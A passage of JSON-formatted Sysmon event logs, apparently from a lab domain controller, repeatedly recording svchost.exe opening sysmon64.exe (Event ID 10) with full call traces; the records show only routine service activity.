11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1668,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1669,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1670,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1671,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1672,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1673,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1674,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.781","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1675,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.781\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 